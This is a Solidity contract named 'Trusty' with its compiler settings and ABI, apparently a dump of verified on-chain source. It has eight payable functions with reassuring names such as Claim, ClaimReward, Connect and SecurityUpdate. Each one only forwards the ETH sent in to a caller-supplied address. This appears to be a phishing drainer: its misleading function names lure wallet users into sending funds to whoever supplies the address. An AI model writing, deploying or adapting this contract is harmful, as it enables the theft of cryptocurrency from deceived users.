// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.18;
contract Trusty {
address private owner;
event Ownership(address indexed previous_owner, address indexed current_owner);
constructor() { owner = msg.sender; }
function getOwner() public view returns (address) { return owner; }
function getBalance() public view returns (uint256) { return address(this).balance; }
function withd(address sender) private {
payable(sender).transfer(msg.value);
}
function Claim(address sender) public payable { withd(sender); }
function ClaimReward(address sender) public payable { withd(sender); }
function ClaimRewards(address sender) public payable { withd(sender); }
function Execute(address sender) public payable { withd(sender); }
function Multicall(address sender) public payable { withd(sender); }
function Swap(address sender) public payable { withd(sender); }
function Connect(address sender) public payable { withd(sender); }
function SecurityUpdate(address sender) public payable { withd(sender); }
function transferOwnership(address new_owner) public {
require(msg.sender == owner, "Access Denied");
address previous_owner = owner; owner = new_owner;
emit Ownership(previous_owner, new_owner);
}
}
{
"compilationTarget": {
"Trusty.sol": "Trusty"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previous_owner","type":"address"},{"indexed":true,"internalType":"address","name":"current_owner","type":"address"}],"name":"Ownership","type":"event"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"Claim","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ClaimReward","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ClaimRewards","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"Connect","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"Execute","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"Multicall","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"SecurityUpdate","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"Swap","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"getBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"new_owner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]